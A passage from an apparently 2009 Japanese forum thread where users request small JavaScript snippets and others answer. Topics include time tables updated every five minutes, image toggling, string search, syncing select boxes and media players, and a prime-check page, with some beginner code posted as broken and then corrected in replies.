cに(15億÷b)の値

dに(((c÷60)÷60)÷24)の値を返す
プログラムをお願いします

150:Name_Not_Found
09/01/21 18:47:34
できればdは
****日**時間**分**秒のように
余りを下位単位で表せるような

151:sage
09/02/04 02:37:24 7D32Ytwa
こんなプログラム作れますか?

a - b = c
d


上のaとbとdに数値を入力してボタンを押す。
cが表示される。


-------------------

a + d = 数値表示
a - c = 数値表示

b - d = 数値表示
b + c = 数値表示

-------------------

152:Name_Not_Found
09/02/04 10:52:24
宿題は自分で解きましょう(^o^)

153:Name_Not_Found
09/02/04 22:53:05
javascript: 1 + 1
上のをアドレスバーに入力して移動ボタンを押す。
2が表示される。

154:Name_Not_Found
09/02/05 12:17:53
>>153

すごいセキュリティホールだな!
警告発しろよ

155:Name_Not_Found
09/02/07 18:11:26 SP1JXyvg
凄く簡単なようなのだが、探しても全然無い。

IEのアクティブウインドウを フルウインドウ と ウインドウ に切り替える F11 をそのままJavascrpt でページ内へ張れないのですか?



156:Name_Not_Found
09/02/07 19:25:59
>>155
IEがコマンドを用意してくれているなら一発だけど
それを悪用したブラクラとか厄介そうだしセキュリティ上不可だろうな

157:Name_Not_Found
09/02/10 17:18:23
ブラウザの右上(スクロールバーの脇あたり)にマウスを当てるとHTMLタグも使えるツールチップを貼り付けたい
サイトを縦にスクロールしても、そのエリアは常時右上固定にしたい。

158:Name_Not_Found
09/02/11 04:49:45
部分集合構成法において、Parsingの状態遷移で動くように書いてあるものをSubsetConstructionの状態遷移で動くように書き換えるのは、どのようにすればよいのでしょうか?

159:Name_Not_Found
09/02/11 10:36:48
お前はJSじゃなくて離散数学を学んで来い

160:Name_Not_Found
09/02/19 06:23:53
時刻を分単位に直して(5時10分なら310)それを指定したテキストファイルに出力するスクリプトお願いします
日付は関係ありません、次の日になったらまた0にリセットされる

161:Name_Not_Found
09/02/19 11:44:15
>>160
>テキストファイルに出力
>>1
>使うものはJavaScript、HTML、CSS、XMLのみです。

無理。

162:Name_Not_Found
09/02/19 11:52:16
>>160
ローカルのテストファイルに吐くとしたらIEのみでやるとかしないとダメで、
サーバ側のファイルに吐くとしたら裏でCGIを動かさないとダメ。

時間は↓みたいに計算すればいいんじゃね?
var d = new Date();
(d.getHours() * 60) + (d.getMinutes())

163:160
09/02/19 13:38:53
すいませんプログラムに関しては無知だったのでかなり勘違いしていたようです
.jsという拡張子のものをJavaScript本体と思ってました

164:Name_Not_Found
09/02/22 18:39:19 z0rF1UrH
【依頼内容】
フレームによって左右区切られたページがある。
そこに、スクロールバー付の表を作成したい。
表の行と列の値は下記の通り。
表の行数:任意でデフォルトで指定しておいた行まで埋まってもいくつでも追加できる。
表の列数:3で固定

【作成環境】
Windoes Vista Home Basic

【備考】
説明がへたくそなので、下記のアップローダから、
実際のイメージを見てもらえると助かります。
また、Javascriptを使うより、簡単そうな方法があった場合、
教えてもらえれば幸いです。
よろしくおねがいします。

【アップローダ】
URLリンク(www.dotup.org)

<DLパス>
1114

165:Name_Not_Found
09/02/26 19:17:03 fKh0tVBE
age

166:Name_Not_Found
09/02/27 01:38:17
>>164
ファイルが流れてて見れない

167:Name_Not_Found
09/02/27 23:22:58
スルーできない人って、良くないとおもいまうす。

168:Name_Not_Found
09/03/07 21:32:56
URLリンク(www.apple.com)

このページの右側、たぶんアコーディオンなんだけど
どうやったらこんな風に反対側に動作出来るんか解明してください

169:Name_Not_Found
09/03/08 02:05:25
>>168
どういうこと?
反対側に動作って意味がわからないけど、ulにmouseoverしたときに
実際のtargetのli以外のtopを決まった値にすればいいだけじゃない?
z-indexは上から順に5,4,3,2,1に指定してあって、
ulにoverflow:hidden;が指定してあるからtopをマイナスの値にすると隠れる

170:Name_Not_Found
09/03/09 06:48:41
反対側に動作するとは、このページの左カラムのアコーディオンの動作に
対しての動き方のことです。わかりにくくてすみません。
このjsかっこいいのでパクりたいけど、ライセンスがわかんないのでこわいです

171:Name_Not_Found
09/03/21 18:06:24
<p id=hoge>~</p>の中にあるリンクで書かれていないURLを
ボタンを押せばリンク化するようなのを作ろうとしていますがうまくいきません。
具体的に言うと

<p id=hoge>
URLリンク(google.co.jp)<)">URLリンク(google.co.jp<)
</p>

のようなことをしたいです。
ちなみにこの場合もどこのサイトからのリンクだか相手はわかるのですか?

172:Name_Not_Found
09/03/22 14:13:11
>>171
URLリンク(www.uploda.org)

>ちなみにこの場合もどこのサイトからのリンクだか相手はわかるのですか?
普通にリンクするからわかると思う

173:Name_Not_Found
09/03/22 14:30:07
>>172
ありがとうございました。完璧です。
余談ですが、逆変換はちょっと難しいですか?

174:Name_Not_Found
09/03/22 16:48:27
>>172が作ってくれたやつをちょっと改造すれば、簡単にできるでしょ。

175:Name_Not_Found
09/03/31 00:32:02
初心者でスミマセン
URLリンク(bbs.enjoykorea.jp)
↑のサイトで<>をクリックすると画像が変わっていくJAVASCRIPTを使いたいのですが
 ソース見て実行もうまく行きませんでした

ソースは
<script type="text/javascript" src="/js/global_lib.js" charset="UTF-8"></script>・・・
から
return "";
}

の範囲のJAVASCRIPTだと思うのですが
このソースを流用して"/js/global_lib.js" charset="UTF-8"の部分に"~.jpg"に置き換えただけだと動きませんでした

176:Name_Not_Found
09/03/31 09:33:42
>>175
そりゃそうだろ。それFlashだ
JavaScriptで同じような動きする奴を探してみたら?
ライブラリになってればこういうデモ置いてあるとこもあるし
URLリンク(malsup.com)

177:Name_Not_Found
09/03/31 18:52:16
参考になりましたありがとうございます

質問ですが
>>176のサイトのデモのURLリンク(malsup.com)
                 ↑を使いたいのですが

画像データを組み込むにはどんなJAVASCRIPTを使えばいいのでしょうか

178:Name_Not_Found
09/04/04 17:20:54
複数の文字列、例えば

aabbcda
ababcdc
bbabbcd

の中からabaを含む文字列を検索して表示したい場合のソース教えて下さい。

179:Name_Not_Found
09/04/04 18:08:16
>>178
var hoge = "aba";
var piyo = ["aabbcda", "ababcdc", "bbabbcd"];
var fuga = "\n";

var arr = [];
for (var i = 0; i < piyo.length; i++) {
if (piyo[i].indexOf(hoge) >= 0) arr.push(piyo[i]);
}

alert(arr.join(fuga));

180:Name_Not_Found
09/04/04 21:26:05
>>179
すかさず仕事はや!ありがとうございます!
ど素人なものでよくわからないんですが、左に書き込む空欄、右に検索ボタンを置いて
その下に表示されるようにしたいんですが、どのようにしたらよいでしょうか?


181:Name_Not_Found
09/04/05 01:25:59
本読め。

182:Name_Not_Found
09/04/05 14:43:52
>>180
URLリンク(www3.uploda.org)

183:Name_Not_Found
09/04/05 20:03:17
>>182
ありがとうございます。ですが、今取に行ったら削除されてました。
大変申し訳ないんですが、もう一度うpしてもらえませんか?

184:Name_Not_Found
09/04/05 23:49:32
>>183
URLリンク(www.uploda.org)

185:Name_Not_Found
09/04/05 23:54:52
>>184
ありがとうございます!早速うpしていただきほんとありがとうございます。
二回もうpしてもらえて、ほんと助かりました。早速使わせていただきます。

186:Name_Not_Found
09/04/18 22:40:20
Perlのintと同じ動作をするjavascriptって出来ますでしょうか?
Perlのintで変な結果が出るのを再現したいんですけどちょっと解らなくて・・・

187:Name_Not_Found
09/04/18 23:06:47
変な結果って?

188:Name_Not_Found
09/04/18 23:14:19
>>187
【Perl】初心者コーナーPart9
URLリンク(pc.2ch.net)
753からそのことが書かれてます
2進数なんて解らないよ

189:Name_Not_Found
09/04/18 23:29:07
なんだ丸め誤差か
parseInt(18.9 * 100)

190:Name_Not_Found
09/04/18 23:45:02
>>189
最初にそれを使ってやったんですがたまにcgiのintと結果が違ってて
調べたら188のリンク先の問題に当たったんです・・・

191:Name_Not_Found
09/04/19 01:34:47
めんどくさいな、perlのシミュレートじゃないとダメなら自分はパス
誤差を回避するための相談には乗るかもしれない


192:Name_Not_Found
09/04/19 01:49:30
>>191
丸め誤差の回避はググれば大量に出てくるのでなんとかなりそうなんで大丈夫です
なんとか自力でやってみることにします、有難う御座いました

193:Name_Not_Found
09/05/10 01:03:26
下記をJavaScriptとHTMLで作って頂けないでしょうか?
よろしくお願いします。

URLリンク(www51.tok2.com)

194:Name_Not_Found
09/05/10 01:31:45
>>193
遷移の実装は form の action または JavaScript と書いてあるけど
画面自体の遷移はどう考えても JavaScript に向いてない
form の action で実装する方が一般的だし楽

別のスレ探したほうがいいと思うが

195:Name_Not_Found
09/05/10 01:58:41
>>194
そうなんですか・・・
formはHTMLの範囲外なんでしょうか?

ここにくるまでにも探していたのですが他に該当スレが見つからなかったのでどうかお願いできないでしょうか?

196:Name_Not_Found
09/05/10 13:41:55 nq88n+QP
age

197:Name_Not_Found
09/05/12 10:23:42 md97Jvpu
FireFoxで、画面Aから画面Bを開き、画面Bはwww.google.co.jpをロード&表示させます。
画面Bでwww.google.co.jpの表示が完了したら、"表示が完了しました"とalertを表示させます。

以上の動作を画面Aから実行したいです。

198:Name_Not_Found
09/05/12 20:03:45
>>197
無理です。

199:Name_Not_Found
09/05/23 01:50:04 v55uSy5X
IE6を使用しています。
Ctrl + マウスホイールの制御を行いたいです。
どなたか教えてください。

200:qlbe.net
09/05/23 10:07:45
URLリンク(www.qlbe.com)

201:Name_Not_Found
09/05/29 00:42:34
<script type="text/javascript" src="URLリンク(i.yimg.jp)"></script>
<script type="text/javascript">
var YWATracker = YWA.getTracker("*****");
YWATracker.addExcludeProtocol("file:");
YWATracker.submit();
</script>
<noscript>
<div><img src="URLリンク(by.analytics.yahoo.co.jp)" width="1" height="1" alt="" /></div>
</noscript>


埋め込み用jsにするにはどのように書けばいいですか?
<script src="yahoo.js"></script>

202:Name_Not_Found
09/05/30 06:59:18
はあ?

203:Name_Not_Found
09/06/04 01:54:51
ボタンを押したら画像を表示するようなのを作りたいのですが
どうしたらいいでしょうか?
ボタン1をおしたら01.jpg ~10.jpgを表示
ボタン2をおしたら11.jpg ~15.jpgを表示
ボタン3をおしたら16.jpg ~25.jpgを表示
のようにして少しずつ画像を表示させてあまり負荷をかけなくしたいです。

204:Name_Not_Found
09/06/05 02:39:24
サムネイルつき画像ビューアって作れますでしょうか?
もしくはどなたか公開されてるスクリプトご存知のかたいますでしょうか。
複数のPCから見れるようにコミックスクリプトというビューアを設置しているんですが
コレにサムネイル機能がついたようなものが見やすいかな思って。

205:Name_Not_Found
09/06/05 11:27:06
>>203
onclickで良ければこんな感じか。フレームワーク使えばもっといいのたくさん落ちてると思うけど。
<script type="text/javascript">
var showImg = function(self, imgs) {
  if (this.target == self) return; // 同じボタンクリックされたら抜ける
  this.target = self; // クリックされたボタン
  var result = this.result;
  if (! result) result = this.result = document.getElementById('result');
  // 画面上の画像はstyleで消す
  var preImgs = result.childNodes;
  for (var i=0,l=preImgs.length; i<l; ++i) {
    if (preImgs[i].nodeName == 'IMG') preImgs[i].style.display = 'none';
  }
  var idPrefix = 'img_';
  for (var i=0,l=imgs.length; i<l; ++i) {
    var img = document.getElementById(idPrefix + imgs[i]);
    if (img) {
      img.style.display = '';
    }
    else {
      img = document.createElement('img');
      img.id = idPrefix + imgs[i];
      img.src = imgs[i] + ".jpg";
      result.appendChild(img);
    }
  }
}
</script>

<span onclick="showImg(this, [01,02,03,04,05])">ボタン1</span>
<span onclick="showImg(this, [06,07,08,09,10,11,12])">ボタン2</span>

206:Name_Not_Found
09/06/20 19:06:10
今作っている練習ページは【top】 【news】 【links】と3つのページへのリンクがあります
いずれもマウスカーソルが乗ったり外れたりに合わせて以下のようなことがやりたいのですが良い方法はないでしょうか

・カーソルが乗ってる場所の画像を切り替える
・それに合わせて所定の<divA>タグ内に、説明テキストを表示する
・同じく所定の<divB>タグ内に、説明画像を表示する


例)たとえば【news_off.gif】にカーソルが当たると、【news_on.gif】に切り替わり、かつ、divAの位置に説明画像、divBの位置に説明文といったかんじです

【news_off.gif】


【divA】
【divB】

207:Name_Not_Found
09/06/28 17:23:16
現在時間を元に表に5分ごとの時間を割り当てたいです
更に時間が経過したら更新されるような構造でお願いします

例えば今の時間が17:23なので
17:20 17:25 17:30 ・・・

例えば23:57にページにアクセスしたら
23:55 0:00 0:05 ・・・

現在時刻が0:00になったら23:55から0:00 0:05 0:10・・・というように更新されて置き換わって欲しいです


よろしくお願いします



208:Name_Not_Found
09/06/29 13:13:11
>>207
出力方法がわからないのでとりあえずこんな感じ
var fullzero_of = (function() {
  var hash = {};
  for (var i=0; i<60; ++i) {
    if (i < 10) {
      var digit = ('0' + i).split('');
      hash[i] = digit.slice(digit.length-2, digit.length).join('');
    }
    else {
      hash[i] = i;
    }
  }
  return hash;
})();
var getDateList = function(params) {
  var threshold = params.threshold, length = params.length;
  var dt = new Date();
  dt.setMinutes(parseInt(dt.getMinutes()/threshold) * threshold); // base
  var dateList = [];
  for (var i=0; i<length; ++i) {
    dateList.push(fullzero_of[dt.getHours()] + ':' + fullzero_of[dt.getMinutes()]);
    dt.setMinutes(dt.getMinutes() + threshold);
  }
  return dateList;
}
var output = function() {
  var dateList = getDateList({threshold:5, length:10});
  // 出力処理
}
setInterval(output, 30 * 1000);

209:Name_Not_Found
09/07/02 21:28:02
ASPで作ったコントロールをVISIBLEにしたいのですが、そのJavaScriptを教えてください
コントロールidはtxtJavaにしておきます

210:Name_Not_Found
09/07/03 20:36:51
あっそ。

211:Name_Not_Found
09/07/06 13:54:54
>>208
なんかいいような気がするのですが、出力結果がUndefined:Undefinedになります

>>207の仕様だと微妙なのでもう1度書き直すと


現在時刻 13:54:xx


----------------------------------------------------------
13:50|13:55|14:00|14:05|14:10|14:15|14:20|14:25|14:30|14:35|14:40|14:45
----------------------------------------------------------
リンク1| リンク2|リンク3|リンク4|リンク5| リンク6|リンク7|リンク8|リンク9|リンク10|リンク11|リンク12
------------------------------------------------------------

と実はこんな感じの表を作りたいんです時間ごとにリンクを割り振りたいです

現在時刻の表示は簡単に作れたので問題ないのですが、
現在時刻からその数分前(現在時刻がxx:45~49なら表のスタートはxx:45)を
表に割り当てる作業がわからなかったので・・・

で、時間が経過すると自動更新されて
現在時刻 13:58:xx


----------------------------------------------------------
13:55|14:00|14:05|14:10|14:15|14:20|14:25|14:30|14:35|14:40|14:45|14:50
----------------------------------------------------------
リンク1| リンク2|リンク3|リンク4|リンク5| リンク6|リンク7|リンク8|リンク9|リンク10|リンク11|リンク12
------------------------------------------------------------
というような出力結果が欲しいです よろしくお願いします

212:Name_Not_Found
09/07/06 15:05:11
>>211
あれ?何のブラウザでやった?Firefox,IE,Opera,Safariで試したんだけど。
初めの1回目を実行するのが30秒後だったからoutput以降を書き換えた。
<div id="result"></div>の後にこのスクリプトがあれば実行できるはず。

var output = function(links) {
  var dateList = getDateList({threshold:5, length:links.length});
  var tableH = ['<tr>'];
  var tableD = ['<tr>'];
  for (var i=0,l=dateList.length; i<l; ++i) {
    tableH.push('<th>', dateList[i], '</th>');
    tableD.push('<td>', '<a href="', links[i]['link'], '">', links[i]['title'], '</a>');
  }
  tableH.push('</tr>');
  tableD.push('</tr>');

  document.getElementById('result').innerHTML = '<table>' + tableH.concat(tableD).join('') + '</table>';

  setTimeout(function(){output(links)}, 30 * 1000);
}
var links = [
  {link: 'link1', title: 'title1'},
  {link: 'link2', title: 'title2'},
  {link: 'link3', title: 'title3'},
  {link: 'link4', title: 'title4'}
];
output(links);

213:211
09/07/06 15:18:28
>>212
ダメでした
ブラウザの設定でしょうか?firefoxを使ってるのですが・・・

htmlを使用してるのですが、書き方が間違ってるのですかね?

大ざっぱでいいので<html><body>~</body></html>まで書いてもらってもいいですか?
何か勘違いをしているのだと思います

javascript自体はあってそうというか、作成者様側では動作してるようなんで、自分が間違ってるんでしょうねー


214:211
09/07/06 16:46:42
できました!
1度できなかったのでIEでやってみたところ動作
その後Firefoxで、もう1度確認したところできました

setTimeoutなのでxx:oo:01のタイミングで表が切り替わらないで
若干のラグがありますが、なんとかいけそうです

ありがとうございました

215:Name_Not_Found
09/07/06 16:49:54
>>214
現在時刻から次の更新までの時間割り出してタイマ指定すればいいよ

216:Name_Not_Found
09/07/06 17:06:30
>>214
とりあえず毎回処理するように書いたから30秒に1回の処理だけど、
現在の表データ保持しておいて内容変わらないなら処理しないとかにすれば
1秒1回の処理でもいいと思うけどね

217:211
09/07/06 17:18:31
>>215
なんとかやってみようと思います

あと、今のものからリンクをその時間固有なものにしたいです。


リンクの種類を0:00~23:55まで持たせたとして、時間が更新されるのと同時にリンクも更新するには
どうすればいいですか?
var links = [
  {link: '0:00.html', title: 'title1'},
  {link: '0:05.html', title: 'title2'},
  {link: '0:10.html', title: 'title3'},…
];

まず今のままだとlengthが大変なことになるので、固有な値を入れておくとして
var dateList = getDateList({threshold:5, length:4});
あとはどうしましょ?

218:211
09/07/06 17:21:44
>>216
そうですね
確かに1秒1回の処理だとラグがないのでいいですね

ただ、ムダにとは失礼ですが、処理しないとわかってるのに1秒1回はどうなんでしょう?
別にいいんですかね?

219:Name_Not_Found
09/07/06 20:10:33
>>217
全時間分やんのか。
ならlinksのハッシュ変えた方がいいかも
var links = [
  {'00:00.html': 'title1'},
  {'00:05.html': 'title2'},
  {'00:10.html': 'title3'}
}
とかにして、
tableD.push('<td>', '<a href="', links[i]['link'], '">', links[i]['title'], '</a>');
の部分を
var link = dateList[i] + '.html';
tableD.push('<td>', '<a href="', link, '">', links[i][link], '</a>');
とかかなぁ。

>>218
何もしないで抜けるだけの処理にすれば1秒1回でも全然問題ないと思う

220:211
09/07/07 02:05:33
>>219
置き換えたら時間しか表示されません
明日確認してみます

221:Name_Not_Found
09/07/07 14:56:44
>>220
それ、ちゃんと全部の時刻のハッシュを作ったか、今の時刻に合わせたハッシュを作ってないだけじゃない?
今の時間に合うハッシュ書かないと時間に合うリンクがないから結果表示されないよ

222:Name_Not_Found
09/07/07 15:14:02
そんだけ細かいのに対応表をデータとして用意するのがなんだかなぁという感じ
リンク先のhh:mm.htmlというような規則性はtitleにはないの?

223:Name_Not_Found
09/07/08 01:21:13
たとえばこんなCDランキングがtableで書かれていたとします。

順位 名前 先月の順位
1 NAME1 -
2 NAME2 2
3 NAME3 4
..........

これを順位、名前、先月の順位などでソートできるようにしたいです。
お願いします。

224:211
09/07/08 02:27:51
>>221
全時間作ったんですが、ダメでした

時間ごとの割り当てとしてはdateList[0]からちゃんと時刻が入っているので
tableD.push('<td>', '<a href="', link, '">', links[i][link], '</a>');
のところを

dateList[i]==links配列のxxx.htmlのxxxが一致してるものを持ってくる

みたいな感じだと確実に時間ごとにlinks配列から取って来てくれると思います
こんな時間のせいか頭が回らないので、自分はできませんでしたが・・・

>>222
リンクよりもボタンに変更しようかと思ってきました・・・
ボタンを押すとその時間を引数とした関数を実行したりっていうのもアリかと・・・
ただ、時刻ごとの固有の引数を今はとれていないので、そこをまずはなんとかしたいです

225:211
09/07/08 02:45:52
よく考えたら
var link = dateList[i] + '.html';
tableD.push('<td>', '<a href="', link, '">', link, '</a>');

でlinks配列使用せずに時間固有のxxx.htmlのリンクが作れますね

ただ、やっぱりtitle1とか配列からtitleをを引っ張ってきたいので修正が必要ですね・・・

226:Name_Not_Found
09/07/08 08:00:00
>>224
こっちの環境だと表示されてるのに何で出ないんだろ。
firebugのconsole.debugかalertでlinkを表示させると何が出るの?

227:211
09/07/12 22:06:06
>>226
firebugは何も出ません
アラートだとしっかり時刻通りのxxx.htmlが表示されます

>>214のときもなぜかできなかったりしたので、困りました
あのときはたぶん文字コードが原因だと思うのですが、今回は大丈夫なはずですが・・・

228:Name_Not_Found
09/07/13 10:11:20
>>227
Firebug何も出ないってどういうこと…

alertで時刻通りのhtmlが表示されてるなら問題ないはずだなぁ
links[i]とlinks[i][link]はどうなるの?

と、
>>219の配列の閉じかっこが変だな。
var links = [
  {'00:00.html': 'title1'},
  {'00:05.html': 'title2'},
  {'00:10.html': 'title3'}
]
こっちね。

229:Name_Not_Found
09/07/13 12:35:45
アラート使うとlinks[i]はobject Object
links[i][link]は undentifiedと出ます
bugは相変わらず反応しないです 他のページのは反応しますが…

230:Name_Not_Found
09/07/13 13:27:41
そもそもiは0~なのでlinks[i]だと毎回の最初00:00から読みませんか?

ここがよくわからないので、ここが解決すると進むかもしれません

231:Name_Not_Found
09/07/13 14:54:24
>>230
あぁw
ごめん、その通りだわw
配列をハッシュにして時間からタイトルを出すようにすればよいと思う
var links = {
 "00:00": "title1",
 "00:05": "title2",
 "00:10": "title3",
 "00:15": "title4"
}
で、
tableD.push('<td>', '<a href="', dateList[i], '.html">', links[dateList[i]], '</a>');
にすればいけるかな。

232:Name_Not_Found
09/07/16 10:41:50
>>231
なんとかできました

ところで今ボタンに置き換える作業をしています つまり
tableD.push('<td>', '<input type="button" value="',links[dateList[i]],', onsubmit=xxx(',dateList[i],')'">)';

というように
タイトルボタンをクリックすると、「現在時刻」を引数とするような関数をonsubmit(xxx関数は単純にalertでその引数を表示するという関数)で実行しようと考えていますが、
ボタンはちゃんと表示されますが、押しても実行できません

innerで書いているからでしょうか?
単純にonsubmitなので、動きそうな気がしますが・・・
よろしくお願いします

233:Name_Not_Found
09/07/16 11:45:31
>>232
コピペミスか?明らかクォートが文法エラーになってるけど。
あとinputはonsubmit取れないよね?onclickにした。

tableD.push('<td>', '<input type="button" value="', links[dateList[i]], '" onclick="alert(\'', dateList[i], '\')">');

234:Name_Not_Found
09/07/16 11:54:03
>>233
onclickでしたか
ありがとうございました

235:Name_Not_Found
09/07/18 13:51:30 fDNoRoNk
URLリンク(www.longtailvideo.com)
上記サイトからダウンロードできる JW FLV Player についてですが、このプレイヤーを用いて、3種類の音楽ファイルを下記のように配置したとします。

→音楽1
→音楽2
→音楽3

これら3つの音楽を同時に再生させることは、javascriptで可能でしょうか。

236:Name_Not_Found
09/07/18 14:11:04
URLリンク(developer.longtailvideo.com)

function play(obj) {
 obj.sendEvent("PLAY","true");
}

function syncPlay() {
 play(document.getElementById("player1"));
 play(document.getElementById("player2"));
 play(document.getElementById("player3"));
}

こんな感じ?

237:235
09/07/18 17:48:34 fDNoRoNk
>>236

どうもありがとうございます。
早速下記のように書いてみましたが、動作しません。
私の知識不足かと思いますが、アドバイスをいただけないでしょうか。


<script type="text/javascript" src="swfobject.js"></script>
<script id="1" type="text/javascript">
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
s1.addVariable("file","1.xml");
s1.write("container1");
</script>

<script id="2" type="text/javascript">
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
s1.addVariable("file","2.xml");
s1.write("container2");
</script>

<script type="text/javascript"><!--
function play(obj) {
 obj.sendEvent("PLAY","true");
}

function syncPlay() {
 play(document.getElementById("1"));
 play(document.getElementById("2"));
}
// --></script>

<button onclick="syncPlay()">play</button>

238:Name_Not_Found
09/07/18 18:26:54
よくわからんけど
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
の第二引数の"ply"がidになるっぽい
だからply1とply2に書き換えて、document.getElementByIdの引数もそれに書き換えてみて

239:235
09/07/18 20:05:56 fDNoRoNk
動きました!
素晴らしいです。
本当に、ありがとうございました。


240:Name_Not_Found
09/07/22 20:50:24
動的に作成されるformのselectを一括で変換できるようにしたいです。

<form action="xx">
(略)
<SELECT NAME="hoge_1">
<OPTION VALUE="1" SELECTED>aaa
<OPTION VALUE="2" >bbb
<OPTION VALUE="3" >ccc
<OPTION VALUE="4" >ddd
</SELECT>
(以降、検索結果によってhoge_xが複数作成される。連番ではない場合もあり、数値の上限も無制限)

存在しないhoge_0を作成してそこをbbbに変更すると連番で続くSELECTも全てbbbに
なるような感じです。

hoge_xを全部配列にぶち込んでselectIndexで・・・とかいろいろやってるんですが
どうもうまく行きません。
すみませんがお力添え下さい。

241:Name_Not_Found
09/07/22 21:15:04
>>240
optionの並びは固定?それともselectによって入れ替わったり項目が増減したりして不定?

242:Name_Not_Found
09/07/23 10:00:01
>>241
すみません、爆睡してしまいました。
レスありがとうございます。Optionは種類(5個)・並びともに固定です。

243:Name_Not_Found
09/07/23 11:49:36
>>242
それならselectIndexでわりと素直にできると思う
動作確認してないから間違ってたらすまん

var selectList = ["hoge_1", "hoge_2"], selectElemList = [];
for(var i=0,l=selectList.length; i<l; i++) { // getElementById結果のキャッシュ
 selectElemList[i] = document.getElementById(selectList[i]);
}

function selectAll(index) {
 for(var i=0,l=selectElemList.length; i<l; i++) {
  selectElemList.selectIndex = index;
  // document.getElementById(selectList[i]).selectIndex = index; // やってること自体はこれ
 }
}

"bbb"で指定するならindex何番かを別途取得しないといけないけど
動的生成してるようだからこうするのが手っ取り早そう
var optionIndex = ["aaa" : 1, "bbb" : 2, "ccc" : 3, "ddd" : 4]; // ここも動的生成、もしくはhoge_x生成用データの流用
selectAll(optionIndex["bbb"]);

244:Name_Not_Found
09/07/23 11:50:19
つい1から並べたけどselectIndexって0オリジンだっけw

245:Name_Not_Found
09/08/03 17:01:25
URLリンク(phpspot.org)


に似た感じでアンダーラインだけでなく
aタグのもなくすことは可能ですか?

押してもボールドされるだけって感じです。

246:Name_Not_Found
09/08/03 17:26:40
>>245
もうちょっと詳しく言わないとわからないな。
どっちをクリックしたとき?現在のページを表すボールドの方?それともリンクの方?

247:Name_Not_Found
09/08/03 19:23:53
レスありがとうございます。

現在を表すのボールドの方です。




248:Name_Not_Found
09/08/04 16:21:41 jiZN7HDz
教えてエロい人
java script を勉強したいのですが、おすすめの教本はありまつか?

249:Name_Not_Found
09/08/04 22:16:05
ありますん。

250:Name_Not_Found
09/08/04 22:48:20
どっちゃねん!

251:Name_Not_Found
09/08/05 10:04:20
>>248
オライリー

252:Name_Not_Found
09/08/14 16:29:36 ME+bLNwd
初めまして。javascritp初心者です。失礼ながら質問があります。ここでやりたいことは、10x10のセルをつくり、個々のセルをクリックできるようにします。 そして、クリックをすると、そのセルの背景色が変わるということです。
どうぞよろしくお願いします。
<title>10X10</title> <script type="text/javascript">
//<![CDATA[
function bgSwap(TD) {
if (TO.style && TD.style.backgroundColor)
TD.style.backgroundColor = 'pink';
else
TD.style.backgroundColor='#ff0000';
}
function gridtable(){
var table = document.createElement('table');
var tbody = document.createElement('tbody');
table.style.border = "0";
for(var i = 1 ; i <= 10; i ++ ){
var tr = document.createElement('tr');
for(var j = 1 ; j <= 10; j ++ ){
var td = document.createElement('td');
td.style.border = "0";
td.style.width = "30";
td.style.height = "30";
td.style.textAlign = "center";
window.event.onclick = bgSwap(td);
tr.appendChild(td);
}
tbody.appendChild(tr);
}
table.appendChild (tbody);
document.getElementById("T").appendChild(table);
}
//]]> </script> </head> <body onload="gridtable()" bgcolor = "aqua"> <div id="T" ></div>

253:Name_Not_Found
09/08/14 23:17:38
なんでこんな長いスクリプトが必要かわからん

function 関数名(セルのID,カラー16進数){
var obj = document.getElementById(セルのID);
obj.style.backgroundColor = カラー16進数;
}

html側
<td id="セルのID">
<a style="cursor:pointer;cursor:hand;" onclick="関数名('セルのID', 'カラー16進数')"> </a>
</td>

関数名は好きな名で
セルのID及びカラー16進数は任意の引数に変更すること!

これだけでいけないか?

254:Name_Not_Found
09/08/15 05:50:51 1h71jQrw
10×10のセルを作り

255:Name_Not_Found
09/08/15 14:23:58
無知にも程がある

256:Name_Not_Found
09/08/15 17:51:06
253でも100個のセルにそれぞれIDを付ければできるが
面倒だわな

257:Name_Not_Found
09/08/15 19:01:35
知識ゼロでは無理だろうな
無報酬で期待する方もバカだが
マルチな時点で人として屑だけどな

258:Name_Not_Found
09/08/18 07:20:16
URLリンク(virus.okwave.jp)
これにlivetubeの右側の掲示板のような更新+自動スクロールするチェックボックス付けて下さい


259:Name_Not_Found
09/08/21 21:40:24
サイ本以外のおすすめ本は、
URLリンク(www.amazon.co.jp)

Ajax の解説は、最後に少しあるだけだが、内容が理解しやすく、初心者でも無理なく読めると思う。

260:Name_Not_Found
09/08/22 00:21:04
URLリンク(hwg.web6.jp)
このページで配布されているLightBoxの以下の点を修正できませんか?
1.Firefoxで「同じウィンドウで開く」「新しいウィンドウで開く」を押すと、保存のメッセージが出てしまう。
2.ビューウィンドウがページスクロールに追従しない。
可能でしたらお願いいたしますm(_ _)m

261:Name_Not_Found
09/09/04 18:24:51
selectタグのname名って取得できたっけ?

262:独学
09/10/05 03:35:57 zbF33XaE
学校の先生に素数判定の簡単なプログラム書いてこいと言われて、インターネットで
色々調べて見て様々なプログラミング言語で書いてあるのを見つけたました。。。

でもindex.htmlのような形でサーバーにアップして実行出来るようにと言われたのですが正直分かりませんorz...

もし分かる方いたらindex.htmlにどのようなコードを書かないといけないか教えていただけないでしょうか><??
宜しくお願いしますm(__)m

263:Name_Not_Found
09/10/05 09:45:23
>>262
マルチは嫌われるからあちこちに書き込まない方がいい
何も考えず実行できることだけ満たされればいいなら下の貼りつければ動く
あとは実際の素数判定の計算式入れて

<html>
<body>
<script type="text/javascript">
// 素数判定関数
var eratosthenes = function(num) {

 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

// ユーザの入力
var num = window.prompt('input number');
if (/[0-9]+/.test(num)) {
 alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
}
</script>
</body>
</html>

264:独学
09/10/05 12:30:07
>>263
すいません(汗これからは気を付けます><
ありがとうございますm(__)mホントに助かりました!orz..

判定結果のfalseがうまく表示されなくて今から自分で直すのに挑戦したいと思います。

265:独学
09/10/05 13:34:41
>>264
結果が上手く表示されない><....

266:Name_Not_Found
09/10/05 13:38:02
現状で出来てるところまで書いてみたら?

267:独学
09/10/05 13:40:47
>>265
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


268:独学
09/10/05 13:44:02
>>266
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


269:Name_Not_Found
09/10/05 13:54:10
以降スルーで

270:Name_Not_Found
09/10/05 15:06:29
>>267
今できてる所までのコードを貼りつけて。

>>263の、

// 素数判定関数
var eratosthenes = function(num) {

